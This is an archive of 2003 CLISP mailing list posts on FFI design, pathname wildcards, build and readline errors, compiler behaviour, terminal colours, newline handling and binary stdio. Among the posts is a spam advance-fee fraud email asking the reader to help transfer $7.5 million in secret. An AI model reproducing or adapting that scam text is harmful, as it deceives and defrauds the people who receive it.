Memoization is omited here. Please use VALIDP to detect whether an old foreign-function-object is still valid or comes from an old Lisp image or whether the library has been closed and you need to regenerate the address.


Another issue not yet covered: It would be good if all these foreign-function s would share their pointer base with the corresponding DB base pointer. Then, (setf (validp DB) nil) (after closing it of course) would invalidate all functions in one statement.

There are two ways to achieve this
1. write the above bdb_entry_point() as a LISPFUNN() instead of going through the FFI to call it and have it return the appropriate FOREIGN-ADDRESS object.
2. or call bdb_entry_point via FFI, but then use the (SET-FOREIGN-BASE) I recently talked about to achieve this sharing. Sam implemented my proposal in CVS as (SETF (FOREIGN-POINTER) #) but I have yet to check what he did.
(let ((address (bdb-entry-point (name-to-bdb-index name))))
  (setf (foreign-base address) db)
  address)
;possibly a one-liner: (setf (foreign-base (bdb-entry-point #) db)
which still yields the new address, not db.

I'd go for 1. - I'm a fan of modules, and one has to write a little C code (bdb_entry_point) anyway. Then it's just easy to pack it as a LISPFUN (use allocate_faddress()).
And if it's a LISPFUN, you can just as well have it return the appropriate FOREIGN-FUNCTION object with little more (double?) code (i.e. case where the two functions mentioned above are merged into one).

Oh well, maybe I should provide more sample code?

Hope this helps,
	Jorg Hohle.


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Marco Antoniotti wrote:
>According to the CLHS (not directly), an implementation should provide  
>an implementation dependent way of quoting the implementation dependent  
>wild characters in the pathname component and/or namestring.  Here is  
>the relevant bit.

>  19.2.2.1.1 Special Characters in Pathname Components
>Strings in pathname component values never contain special characters  
>that represent separation between pathname fields, such as slash in  
>Unix filenames.

I do not think that this passage is relevant. It's about file system special characters, while the matter at hand is about a CLISP-specific and internal extension about "*" and "?", but acknowledged in CLHS as "implementation dependent special wildcard characters" (cf. ?19.2.2.3)

What I believe is as follows:
This topic (annoying behaviour of CLISP) is bound to disappear. It's an ancient CLISP bastion which is going to fall the more users complain about it, like two others did fall in the past, due to user complaints:
 - ".emacs" to be parsed as either :name ".emacs" or :name nil/"" :type "emacs"
   cf. custom:*parse-namestring-dot-file*
 - merge-pathname (:relative "foo") (:relative "bar")
   either fill :directory or append
   cf. custom:*merge-pathnames-ansi*

I believe some people do use CLISP for scripting. I'm quite surprised that they haven't complained yet (often enough) about CLISP's inability to access any regular file that may be found in a file system.

BTW, CLISP's impnotes still mentions the old ".dot-file" behaviour in various parts of section "Pathname components", and *parse-namestring-dot-file* doesn't seem mentioned.

So maybe OPEN, TRUENAME etc. should just check against presence of :wild or :wild-inferiors, not against #\* or #\?, while DIR and DIRECTORY could maintain their portable-across-clisp pattern matching behaviour.

But then, you must also suggest conforming behaviour for wild-pathname-p and ?19.2.2.3
http://www.lisp.org/HyperSpec/Body/sec_19-2-2-3.html

Please suggest a custom:*nice-name* and convince Sam :-)


BTW, why doesn't this work:
[75]> (make-pathname :directory '(:absolute :wild) :name "foo")
*** - MAKE-PATHNAME: illegal :DIRECTORY argument (:ABSOLUTE :WILD)
-- I'd expect #p"*/foo"
while this is accepted (which I consider equivalent):
(make-pathname :directory '(:absolute "*") :name "foo")
as well as(!):
(make-pathname :directory '(:absolute :wild-inferiors) :name "foo")
-> #p"**/foo"

Regards,
	Jorg Hohle.


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On Cygwin, the /dev/tty file exists, but the directory /dev does not. WE 
get this:

  [1]> (with-open-file (x "/dev/tty"))

  *** - nonexistent directory: #P"/dev/"

Second-guessing the operating system's path component resolution
strategy not only wastes cycles, but leads to incorrect guesses when
the operating system recognizes special cases.

Can't CLISP just take the pathname string and pass it to the open()
system call?



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Kaz Kylheku asks:

>On Cygwin, the /dev/tty file exists, but the directory /dev 
>does not. WE 
>  [1]> (with-open-file (x "/dev/tty"))
>  *** - nonexistent directory: #P"/dev/"
>Second-guessing the operating system's path component resolution
>strategy not only wastes cycles, but leads to incorrect guesses when
>the operating system recognizes special cases.

On the Amiga, CLISP has something like this.
E.g. (open "CON:////CLISP-Listener/AUTO/CLOSE/WAIT" :direction :io)
works, while CON: is not a file system at all -- IsFileSystem("CON:") -> false.
CLISP does not attempt to invoke the usual directory checks on such a thing. Same for named pipes on the Amiga, e.g. (open "PIPE:foo" :direction :output).

But the Amiga still has more legal names that CLISP would never let me access, e.g. "*", "CONSOLE:", "AUX:", "PRN:" (error empty :name in pathname).

CLISP also has special cases for /proc on UNIX AFAIK.

OTOH, in CL, you are bound to attempt to second-guess the OS'pathnames, otherwise MERGE-PATHNAMES, TRUENAME etc. cannot work or produce trusted results.

E.g. open "CONSOLE:" should work, despite empty name
     open Developer-CD#1:README should work
     open Developer-CD#1:libs/ should not work (directory, but empty name)
       even though some UNIX systems would let you read dirent structs from that.

Regards,
	Jorg Hohle.


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Date: Sat Apr 26 02:56:03 2003
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Dear Sir

With regards and honor do please consider this proposal.I am from Zimbabwe but currently i and my brother is in Netherland.You might be worried how i got your contact address, I got it from Netherland Chamber of Commerce and trade e-mail directory.

Dear friend during this crises against the farmers of Zimbabwe by the supporters of our President Robert Mugabe to claim all the white owned farms in our country, he ordered all the white farmers to surrender their farms to his party members and their followers

My father was one of the best farmers in the country and knowing that he did not support the presidents political ideology, the presidents supporters invaded my fathers farm burnt down everything, shot him and as a result of the wounds sustained, he became sick and died after four days.And after his death,I and my younger Brother decided to move out of Zimbabwe for the safety of our lives to South-Africa.from thier we where able to enter into a 
ship and travel to the Netherland.

But, before he died he wrote his will, which reads (MY BELOVEED SON ,I WISH TO DRAW YOUR ATTENTION TO THE SUM OF ($7.5,000000). MILLION U.S DOLLARS WHICH I DEPOSITED IN A SECURITY COMPANY IN JOHANNESBURG (SOUTH-AFRICA)and i have ask them to transfer it to thier branch in the netherland and secured it.IN CASE OF MY ABSENCE ON EARTH CAUSED BY DEATH ONLY".You should solicit for reliable foreign partner to assist you to transfer this money out of netherland for investment purpose.

I deposited the money in your name and it can be claimed by you alone with the deposite code. your mother has all the documents.Take good care of your mother and brother."

From the above, you will understand that the lives and future of my family depends on this money as much, I will be grateful if you can assist us.I and my younger brother are now living in the Netherland as POLITICAL ASYLUM SEEKERS and the financial law of the Netherland does not allow ASYLUM SEEKERS certain financial rights to such huge amount of money .

In view of this, I cannot invest this money in the Netrherland,hence I am asking you to assist me transfer this money out of Netherland and secure it for investment purposes. 

For your efforts, I am prepared to offer you 10% of the total fund, while 2% will be set aside for local and international expenses and 88% will be kept for me and my family.

Finally modalities on how the transfer will be done will be conveyed to you once we establish trust and confidence between ourselves. Looking forward to hear from you For more detailed information. 

NOTE:THE KEY WORD TO THIS TRANSACTION IS ABSOLUTE CONFIDENTIALITY AND SECRECY.THIS TRANSACTION IS 100% RISK FREE. YOUR URGENT RESPONSE WILL BE HIGHLY APPRECIATED.

BEST REGARDS,





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> * In message <896E9434-74DA-11D7-BC97-000393556366@imag.fr>
> * On the subject of "[clisp-list] Building clips 2.30 on jaguar : problem=
s"
> * Sent on Tue, 22 Apr 2003 17:53:18 +0200
> * Honorable Herv=C3=A9 Blanchon <herve.blanchon@imag.fr> writes:
>
> # The default stack size on your platform is insufficient
> # and must be increased to at least 8192.  You must do either
> # 'ulimit -s 8192' (for Bourne shell derivarives, e.g., bash and zsh) or
> # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh)
>=20
> The commands were not understood by my bash shell.

are you sure it's bash?
what was the error message?

> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE
> -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
> lispbibl.d:1950: unbalanced #endif
> lispbibl.d:6683: unterminated #else conditional
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> make: *** [spvw.o] Error 1

what's gcc --version?
what if you omit --traditional-cpp?


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The 2003 Libre Software Meeting (LSM) will take place  this year in Metz
(North-East  of France) from July,  9th to July, 12th.  I have taken the
responsibility for the VHLL track (Very High Level Languages) originally
initiated by Robert  Strandh  and headed  by   him for the  first  three
editions. I will be pleased to welcome in Metz all people interested in
VHLL and who will contribute to the success of the 2003 LSM.

This track is meant to show how those high level languages such as Lisp,
Scheme and their   derivatives, ML, Python,  etc. increase productivity,
quality, fiability,  ease of maintenance  in the  context of developping
applications.

Developpers who want  to  share  their  experience in this   domain  are
invited to contact me. Subjects may include :
- development of tools or platforms
- comparison between languages
- developper's experiences using VHLL
- ...

You will find more information about the LSM2003 by browsing
http://rencontresmondiales.org. The web site is frequently updated.

Yours sincerely,

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Fabrice Popineau
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downloaded from
http://sourceforge.net/project/showfiles.php?group_id=1355

  [root@we-24-130-19-131 clisp-2.30]# make
  cc -O  base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl base//usr/local/lib/libsigsegv.a -lc -lm -o base/lisp.run
  cc: base//usr/local/lib/libsigsegv.a: No such file or directory
  make: *** [base/lisp.run] Error 1

I now remove the base/ from the above line in Makefile.

  [root@we-24-130-19-131 clisp-2.30]# make
  cc -O  base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl /usr/local/lib/libsigsegv.a -lc -lm -o base/lisp.run
  base/lisp.a(lisp.o): In function `rd_ch_terminal3':
  lisp.o(.text+0x34101): undefined reference to `rl_already_prompted'
  base/lisp.a(lisp.o): In function `make_terminal_stream_':
  lisp.o(.text+0x346f2): undefined reference to `rl_gnu_readline_p'
  base/lisp.a(lisp.o): In function `rl_memory_abort':
  lisp.o(.text+0x392db): undefined reference to `rl_gnu_readline_p'
  base/lisp.a(lisp.o): In function `lisp_completion_more':
  lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_function'
  collect2: ld returned 1 exit status
  make: *** [base/lisp.run] Error 1


I see from a web search something that looks relevant:

    FROM: Sam Steingold
    DATE: 09/28/2002 17:19:28
    SUBJECT: RE:  [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2
     
  ...
    I think you have a _very_ old readline version (where everything was
    called "foo" instead of "rl_foo" in the newer readline)

I just downloaded and installed readline-4.3 so that must not be it.

    you can also do

    $ ./configure --without-readline --build build-no-readline
I now try the source distribution from the same place and get the
same result from the line above.  (Not quite but almost - no complaint
about lisp_completion_more, the hex numbers are different and the
complaints come from stream.o instead of lisp.o)




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Hi,

there's a mismatch between implemented code and impnotes.
Impnotes uses (c-array c-type dim1 dim2 ... dimn)
The code implements (c-array c-type (dim1 dim2 ... dimn))
and (c-array c-type dim) as a shortcut for a one-dimensional array.

Back in 1996, before impnotes was converted to HTML, doc/foreign.txt =
already contained this mismatch: the BNF describing c-array, c-struct =
etc. defined
(c-array c-type (dim1 ... dimn)) and (c-array c-type dim1) -- as =
implemented -- while the explaining text talked about (c-array c-type =
dim1 ... dimn). The BNF was dropped during conversion to HTML.

(c-array c-type (dim1 ... dimn))
looks familiar to Lisp declarations (array elt-type (dim1 ... dimn))

However, (c-array c-type Number) means something completely different =
from
(array elt-type Number): the latter specifies an N-dimensional array.

The number-or-list polymorphism thus resembles MAKE-ARRAY, not Lisp =
array declarations.

If nobody says otherwise during a two weeks delay, I suggest to change =
the documentation to reflect the code, even though I'd prefer the =
(c-array c-type dim1 ... dimn) syntax that the description of c-array =
and ffi:element refer to and which naturally expands the (c-array =
c-type dim1) case. YMMV

http://clisp.cons.org/impnotes/dffi.html

Regards,
	J=F6rg H=F6hle.



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Hi,

I wonder about the following behaviour

[21]> (lambda(s)(declare (compile))(ffi:with-foreign-string (f s :foo =
1) (values f s)))
;NB: This form is erroneous.

ERROR in :LAMBDA-2 :
Constant :FOO cannot be bound.
WARNING in LAMBDA :
variable S is not used.
Misspelled or missing IGNORE declaration?
#<COMPILED-CLOSURE :LAMBDA>

; I.e. an error is reported, yet compilation continues, and returns a =
weird function object:

[22]> (funcall *)
NIL
[23]> (disassemble **)

Disassembly of function :LAMBDA
0 required arguments
0 optional arguments
No rest parameter
No keyword parameters
2 byte-code instructions:
0     (NIL)
1     (SKIP&RET 1)
#<COMPILED-CLOSURE :LAMBDA>
;I.e. a function which takes no arguments(! -- where did S go?) and =
returns NIL.

This behaviour is different from doing
[24]> (defun foo (s) (ffi:with-foreign-string (f s :foo 1) (values f =
s)))
FOO
[25]> (compile *)
ERROR in FOO-2 :
Constant :FOO cannot be bound.
WARNING in FOO :
variable S is not used.
Misspelled or missing IGNORE declaration?
NIL ;
2 ;
1
No function was produced in this case, which I feel fine.

Comments welcome,
	J=F6rg H=F6hle


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE03ECF189@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] error or warning during compilation, yet some function is generat ed"
> * Sent on Tue, 29 Apr 2003 16:05:31 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> [21]> (lambda(s)(declare (compile))(ffi:with-foreign-string (f s :foo 1) (values f s)))
> ;NB: This form is erroneous.
> 
> ERROR in :LAMBDA-2 :
> Constant :FOO cannot be bound.
> WARNING in LAMBDA :
> variable S is not used.
> Misspelled or missing IGNORE declaration?
> #<COMPILED-CLOSURE :LAMBDA>
> 
> ; I.e. an error is reported, yet compilation continues, and returns a
> weird function object:

this appears to be the intended behavior in COMPILE-LAMBDA
(compiler.lisp)
I can easily disable it, but I would love to hear why Bruno introduced it.

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> * In message <200304290810.h3T8A8s05772@isis.cs3-inc.com>
> * On the subject of "trouble with clisp-2.30-i686-unknown-linux-2.4.18-10.tar.gz"
> * Sent on Tue, 29 Apr 2003 01:10:08 -0700
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
> downloaded from
> http://sourceforge.net/project/showfiles.php?group_id=1355
>   [root@we-24-130-19-131 clisp-2.30]# make
>   cc -O  base/modules.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses -ldl /usr/local/lib/libsigsegv.a -lc -lm -o base/lisp.run
>   base/lisp.a(lisp.o): In function `rd_ch_terminal3':
>   lisp.o(.text+0x34101): undefined reference to `rl_already_prompted'
>   base/lisp.a(lisp.o): In function `make_terminal_stream_':
>   lisp.o(.text+0x346f2): undefined reference to `rl_gnu_readline_p'
>   base/lisp.a(lisp.o): In function `rl_memory_abort':
>   lisp.o(.text+0x392db): undefined reference to `rl_gnu_readline_p'
>   base/lisp.a(lisp.o): In function `lisp_completion_more':
>   lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_function'
>   collect2: ld returned 1 exit status
>   make: *** [base/lisp.run] Error 1
> 
> I just downloaded and installed readline-4.3 so that must not be it.

are you sure that there is no rogue libreadline.so in an odd place?
$ type libls
libls is a function
libls () 
{ 
    ls -Fs --color=tty `echo -e /lib\\\\n/usr/lib |cat - /etc/ld.so.conf |sed s.\$./$*.`
}
$ libls \*readline\*
ls: /lib/*readline*: No such file or directory
ls: /usr/kerberos/lib/*readline*: No such file or directory
ls: /usr/X11R6/lib/*readline*: No such file or directory
ls: /*readline*: No such file or directory
ls: /usr/lib/mysql/*readline*: No such file or directory
ls: /usr/lib/qt-3.0.5/lib/*readline*: No such file or directory
ls: /usr/lib/wine/*readline*: No such file or directory
ls: /usr/lib/qt-3.1/lib/*readline*: No such file or directory
ls: /usr/lib/sane/*readline*: No such file or directory
  12 /usr/lib/libguilereadline-v-12.a
   4 /usr/lib/libguilereadline-v-12.la*
   0 /usr/lib/libguilereadline-v-12.so@
   0 /usr/lib/libguilereadline-v-12.so.12@
  16 /usr/lib/libguilereadline-v-12.so.12.3.0*
 256 /usr/lib/libreadline.a
   0 /usr/lib/libreadline.so@
   0 /usr/lib/libreadline.so.4@
 176 /usr/lib/libreadline.so.4.3*

> I now try the source distribution from the same place and get the same
> result from the line above.  (Not quite but almost - no complaint
> about lisp_completion_more, the hex numbers are different and the
> complaints come from stream.o instead of lisp.o)

what about CVS head?

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Sam writes:

> > ; I.e. an error is reported, yet compilation continues, and returns a
> > weird function object:
> 
> this appears to be the intended behavior in COMPILE-LAMBDA
> (compiler.lisp)
> I can easily disable it, but I would love to hear why Bruno introduced it.

I don't see a good reason anymore not to give an
    (sys::error-of-type 'sys::source-program-error ...)

Bruno


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> * In message <16048.15.502758.29150@honolulu.ilog.fr>
> * On the subject of "Re: [clisp-list] error or warning during compilation, yet some function is generat ed"
> * Sent on Wed, 30 Apr 2003 18:55:43 +0200 (CEST)
> * Honorable Bruno Haible <haible@ilog.fr> writes:
>
> Sam writes:
> 
> > > ; I.e. an error is reported, yet compilation continues, and returns a
> > > weird function object:
> > 
> > this appears to be the intended behavior in COMPILE-LAMBDA
> > (compiler.lisp)
> > I can easily disable it, but I would love to hear why Bruno introduced it.
> 
> I don't see a good reason anymore not to give an
>     (sys::error-of-type 'sys::source-program-error ...)

either this or just return nil, like we do now in other cases:

[1]> (defun f () (let ((:f 0)) :f))
F
[2]> (compile 'f)

ERROR in F :
Constant :F cannot be bound.
NIL ;
1 ;
1
[3]> (setq f (lambda () (let ((:f 0)) :f)))
#<CLOSURE :LAMBDA NIL (LET ((:F 0)) :F)>
[6]> (compile nil f)

ERROR :
Constant :F cannot be bound.
NIL ;
1 ;
1

returning NIL would violate the rule that (lambda ...) returns a
function, so, I guess, an error is better.

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In the past I've relied on ansi terminal emulation for both color and 
cursor positioning, but that seems not to work on ME, and seems not
straight forward in XP.  So I'm now trying to use the screen package
again.

Does anyone out there have experience with the screen package in
windows XP ?  I've not yet been able to try it myself but I was
unable over the phone to get it to work for a friend.  

Also I notice (at least on windows ME and XP) the screen package turns
the screen blue.  (Even just calling make-window does this, which
seems strange to me.)  This suggests that it might be easy to add
support for colors, e.g, allowing you to print in red on a green
background.  If that is easy, and especially if this functionality is
not otherwise easy to obtain, I suggest adding it.  If anyone does
know an easy substitute, please tell me about it.


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 > From: Sam Steingold <sds@gnu.org>
 > Subject: [clisp-list] Re: trouble with clisp-2.30-i686-unknown-linux-2.4.18-10.tar.gz
 ...
 > are you sure that there is no rogue libreadline.so in an odd place?
Way to go - that seems to be the problem.
When I remove them (from /usr/lib - the new ones are in
/usr/local/lib) I can do the make but then when I try to run the
result I get a complaint about not finding readline.so
But building from the source seems to work better.

 > $ type libls
What's this?  For me the result is not found.

Anyhow, I now have a working version that's recent by my standards.



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Hello Don,

Thursday, May 01, 2003, 8:21:29 AM, you wrote:

> Does anyone out there have experience with the screen package in
> windows XP ?  I've not yet been able to try it myself but I was
> unable over the phone to get it to work for a friend.  
I worked with it on win NT and did some tests under win 98. I've made
even kinda windowed interface. It works. So tell your friend not to
give up.

> Also I notice (at least on windows ME and XP) the screen package turns
> the screen blue.  (Even just calling make-window does this, which
> seems strange to me.)  This suggests that it might be easy to add
> support for colors, e.g, allowing you to print in red on a green
> background.  If that is easy, and especially if this functionality is
> not otherwise easy to obtain, I suggest adding it.  If anyone does
> know an easy substitute, please tell me about it.
White on black seems boring to me. Adding colors would lead to
discrepancy between UNIX and windows SCREEN if only some expert in
UNIX terminals not going to support colors on UNIX. AFAIK it would
be hard to make color support working everywhere.

-- 
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> * In message <7736133577.20030501201018@inbox.ru>
> * On the subject of "Re: [clisp-list] screen package"
> * Sent on Thu, 1 May 2003 20:10:18 +1000
> * Honorable Arseny Slobodjuck <ampy@inbox.ru> writes:
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> Adding colors would lead to discrepancy between UNIX and windows
> SCREEN if only some expert in UNIX terminals not going to support
> colors on UNIX. AFAIK it would be hard to make color support working
> everywhere.

ncurses offers portable terminal color handling.
<http://dickey.his.com/ncurses/>
it would be nice to work out a common API for win32 and ncurses for
SCREEN. 

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Arseny Slobodjuck writes:
 > I worked with it on win NT and did some tests under win 98. I've made
 > even kinda windowed interface. It works. So tell your friend not to
 > give up.

I was wondering about xp in particular.  I have it working on ME.

Sam Steingold writes:
 > > Adding colors would lead to discrepancy between UNIX and windows
 > > SCREEN if only some expert in UNIX terminals not going to support
 > > colors on UNIX. AFAIK it would be hard to make color support working
 > > everywhere.
 > 
 > ncurses offers portable terminal color handling.
 > <http://dickey.his.com/ncurses/>

Any idea whether/how this is related to windows ansi.sys ?
That seems to be compatible with xterm.

 > it would be nice to work out a common API for win32 and ncurses for
 > SCREEN. 

It would be useful even to start with support for one platform.


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> * In message <16048.49328.461483.162976@isis.cs3-inc.com>
> * On the subject of "trouble with [=>] readline"
> * Sent on Wed, 30 Apr 2003 23:37:36 -0700
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> When I remove them (from /usr/lib - the new ones are in
> /usr/local/lib) I can do the make but then when I try to run the
> result I get a complaint about not finding readline.so
> But building from the source seems to work better.

I think you need to re-configure.

>  > $ type libls
> What's this?  For me the result is not found.

that's my private alias to find all libraries.

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> * In message <16049.13897.492753.861573@isis.cs3-inc.com>
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>  > it would be nice to work out a common API for win32 and ncurses for
>  > SCREEN.
> 
> It would be useful even to start with support for one platform.

indeed.  would you like to work on this?

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Hello,
This is related with a problem I've posted to c.l.l but it seems to be
specific to clisp.
The following function writes bytes to a file and read them back as
characters. 

(defun my-ugly-test ()
   (print (lisp-implementation-type))
   (print (lisp-implementation-version))
   (let* ((file 
            (progn
              (with-open-file (f "/tmp/test.bin" 
                               :direction :output
                               :element-type 'unsigned-byte
                               :if-exists :supersede)
                 (loop for b from 10 to 13 
                       do           
                       (write-byte b f)))                                                                                
              "/tmp/test.bin"))
         (v-code (with-open-file (f file :direction :input)
                     (loop for c = (read-char f nil nil)
                           when c collect (cons c (char-code c))
                           while c)))
         (v-byte (with-open-file (f file :direction :input 
                                  :element-type 'unsigned-byte)
                   (loop for c = (read-byte f nil nil)
                         when c collect c
                         while c))))
     (mapcar #'cons v-byte v-code)))

Although the char-code and code-char function work as expected, I do
obtain the expected result form the test function:

[13]> (char-code #\return)
13
[14]> (char-code #\newline)
10
[15]> (code-char (char-code #\return))
#\Return
[16]> (code-char 10)
#\Newline
[17]> (code-char 13)
#\Return
[19]> (my-ugly-test)
 
"CLISP"
"2.27 (released 2001-07-17) (built 3214131121) (memory 3250927427)"
((10 #\Newline . 10) (11 #\Vt . 11) (12 #\Page . 12) (13 #\Newline .
10))

Why is byte 13 read as #\newline char (and not #\return) ?

Using Lispworks I get:

CL-USER 68 > (my-ugly-test)

"LispWorks" 
"4.2.6" 
((10 #\Newline . 10) (11 #\VT . 11) (12 #\Page . 12) (13 #\Return . 13))

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> * In message <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt>
> * On the subject of "[clisp-list] problem reading bytes as characters"
> * Sent on 02 May 2003 17:32:15 +0100
> * Honorable Thibault Langlois <tl@di.fc.ul.pt> writes:
>
> Why is byte 13 read as #\newline char (and not #\return) ?

Consider a file foo.dos created like this:

(with-open-file (s "foo.dos" :direction :output
                 :element-type '(unsigned-byte 8))
  (write-sequence
   (mapcar #'char-code
           '(#\f #\o #\o #\Newline #\b #\a #\r #\Return #\Newline))
  s))

now, what should

(with-open-file (s "foo.dos" :direction :input
                 :element-type 'character
                 :external-format :dos)
  (read-line s))

return?

You might reasonably argue that the right string to return is
"foo\fbar".  Unfortunately, "\f" (== (code-char 10)) is #\Newline in
CLISP, so READ-LINE would return a string with an embedded newline,
which, if not outright non-compliant, would be quite surprising to a
user.

Because of this problem, CLISP reads CR, LF and CRLF as #\Newline.


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On Fri, 2003-05-02 at 17:53, Sam Steingold wrote:
> > * In message <1051893134.28518.17.camel@doctmp03.di.fc.ul.pt>
> > * On the subject of "[clisp-list] problem reading bytes as characters"
> > * Sent on 02 May 2003 17:32:15 +0100
> > * Honorable Thibault Langlois <tl@di.fc.ul.pt> writes:
> >
> > Why is byte 13 read as #\newline char (and not #\return) ?


Sorry for posting to this list. I should have continue to send to c.l.l

Thank you for your explanations. I think I can solve my problem with a
more recent version of clisp, changing the stream-element-type of
*standard-input* and then use read-byte as you suggest in your post on
c.l.l

Thibault


> 
> Consider a file foo.dos created like this:
> 
> (with-open-file (s "foo.dos" :direction :output
>                  :element-type '(unsigned-byte 8))
>   (write-sequence
>    (mapcar #'char-code
>            '(#\f #\o #\o #\Newline #\b #\a #\r #\Return #\Newline))
>   s))
> 
> now, what should
> 
> (with-open-file (s "foo.dos" :direction :input
>                  :element-type 'character
>                  :external-format :dos)
>   (read-line s))
> 
> return?
> 
> You might reasonably argue that the right string to return is
> "foo\fbar".  Unfortunately, "\f" (== (code-char 10)) is #\Newline in
> CLISP, so READ-LINE would return a string with an embedded newline,
> which, if not outright non-compliant, would be quite surprising to a
> user.
> 
> Because of this problem, CLISP reads CR, LF and CRLF as #\Newline.
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Hello,

Is there a way to supress method definition warnings
in CLISP?  In Allegro CL there is a variable
EXCL:*REDEFINITION-WARNINGS* but I cannot find it in
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> * In message <20030502203103.65411.qmail@web41010.mail.yahoo.com>
> * On the subject of "[clisp-list] How do I supress method redefinition warnings?"
> * Sent on Fri, 2 May 2003 13:31:03 -0700 (PDT)
> * Honorable Mark Paskin <mpaskin@yahoo.com> writes:
>
> Is there a way to supress method definition warnings in CLISP? 

(without-package-lock ("CLOS")
  (setq clos::*warn-if-gf-already-called* nil
        clos::*gf-warn-on-replacing-method* nil))

(see also <http://clocc.sourceforge.net/clocc/clocc.lisp>)

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some users want to be able to do binary i/o on *standard-input* and
*standard-output* (CGI pretty much requires this).
There appears to be no portable way to do this in CLISP.
The usual way on Unix is (open "/dev/fd/0").
It should not be too hard to make this portable.
The question is: what should the interface be?
I.e., what argument to OPEN should open stdin (stdout, stderr)?
E.g., (OPEN :TERMINAL )?

CMUCL uses something like (fd-to-stream (dup 0)).
but 0/1/2 is a unixism.

Suggestions?

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Hello Sam,

Sunday, May 04, 2003, 7:42:00 AM, you wrote:

> CMUCL uses something like (fd-to-stream (dup 0)).
> but 0/1/2 is a unixism.

> Suggestions?
Command-line option ?

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> * In message <27797787.20030504133059@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] CGI & binary i/o with stdio"
> * Sent on Sun, 4 May 2003 13:30:59 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> Sunday, May 04, 2003, 7:42:00 AM, you wrote:
> 
> > CMUCL uses something like (fd-to-stream (dup 0)).
> > but 0/1/2 is a unixism.
> 
> > Suggestions?
> Command-line option ?

no - it should be possible to do

(with-open-stream (s (open-stdin-in-binary-mode))
  ...)

that's why I want a dup() there - so that the user will be able to
close the stream safely
  
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Hello Sam,

Monday, May 05, 2003, 12:11:48 AM, you wrote:

>> > CMUCL uses something like (fd-to-stream (dup 0)).
>> > but 0/1/2 is a unixism.
>> 
>> > Suggestions?
>> Command-line option ?

> no - it should be possible to do

> (with-open-stream (s (open-stdin-in-binary-mode))
>   ...)

> that's why I want a dup() there - so that the user will be able to
> close the stream safely
  
(coerce s 'binary-terminal-stream) ? I'm full of ideas.
Btw the distinction between text and binary modes in lisp is in
element-type, right ?

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Hi Arseny,

> * In message <1181862858.20030505085659@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] CGI & binary i/o with stdio"
> * Sent on Mon, 5 May 2003 08:56:59 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> > (with-open-stream (s (open-stdin-in-binary-mode))
> >   ...)
> 
> > that's why I want a dup() there - so that the user will be able to
> > close the stream safely
>   
> (coerce s 'binary-terminal-stream) ? I'm full of ideas.

we are dealing with a stream opening paradigm.
what is a `handle' in win32?
is it just a glorified file descriptor (an unsigned int)?
in amiga?

if yes, we could just allow

        (open 0 :direction :input :element-type 'unsigned-byte)

(but what if the user would do :direction :output?)

> Btw the distinction between text and binary modes in lisp is in
> element-type, right ?

yes.

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Hello Sam,

Monday, May 05, 2003, 8:36:03 AM, you wrote:

> we are dealing with a stream opening paradigm.
> what is a `handle' in win32?
> is it just a glorified file descriptor (an unsigned int)?
AFAIK, no. To support this:
(uint)GetStdHandle(STD_INPUT_HANDLE) == 3 (in my case).

>         (open 0 :direction :input :element-type 'unsigned-byte)
> (but what if the user would do :direction :output?)

What about making make-terminal-stream user-level function with
parameters (as terminal-stream is not file-stream which open should
return) ? What about using *terminal-io* as filename argument to
open (barely legal) ? BTW, is *terminal-io* still of strmtype_terminal
when io is redirected ? I wasn't able to check it fast - result is
confusing. How about changing element-type on-the-fly
(setf element-type) ?

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> * In message <984523093.20030505210555@ich.dvo.ru>
> * On the subject of "Re[4]: CGI & binary i/o with stdio"
> * Sent on Mon, 5 May 2003 21:05:55 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> AFAIK, no. To support this:
> (uint)GetStdHandle(STD_INPUT_HANDLE) == 3 (in my case).

yuk - so stdin is not 0?!
what are stdout and stderr?

> >         (open 0 :direction :input :element-type 'unsigned-byte)
> > (but what if the user would do :direction :output?)
> 
> What about making make-terminal-stream user-level function with
> parameters (as terminal-stream is not file-stream which open should
> return) ?

good idea!
(make-stream object &key &allow-other-keys)
will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or
:IO) with the &key's the same as for OPEN sans :DIRECTION.
actually, no, we do need :DIRECTION because there is no way to figure
out whether the handle is open for input or output or both.
or is there?!

> BTW, is *terminal-io* still of strmtype_terminal when io is redirected
yes.

> How about changing element-type on-the-fly (setf element-type) ?

changing the element-type of the terminal i/o on the fly is considered
dangerous because it screws up the user interface.

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Hello Sam,

Tuesday, May 06, 2003, 3:42:43 AM, you wrote:

>> AFAIK, no. To support this:
>> (uint)GetStdHandle(STD_INPUT_HANDLE) == 3 (in my case).

> yuk - so stdin is not 0?!
> what are stdout and stderr?
7 and b  (3+4, 3+4+4)

>> What about making make-terminal-stream user-level function with
>> parameters (as terminal-stream is not file-stream which open should
>> return) ?

> good idea!
Thank you!

> (make-stream object &key &allow-other-keys)
> will make a stream out of OBJECT (a handle, :INPUT, :OUTPUT, :ERROR, or
> :IO) with the &key's the same as for OPEN sans :DIRECTION.
Cool. But where to get handle in lisp ?

> actually, no, we do need :DIRECTION because there is no way to figure
> out whether the handle is open for input or output or both.
> or is there?!
I am not aware of it.

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> * In message <1311633428.20030506081426@ich.dvo.ru>
> * On the subject of "Re: [clisp-list] Re: Re[4]: CGI & binary i/o with stdio"
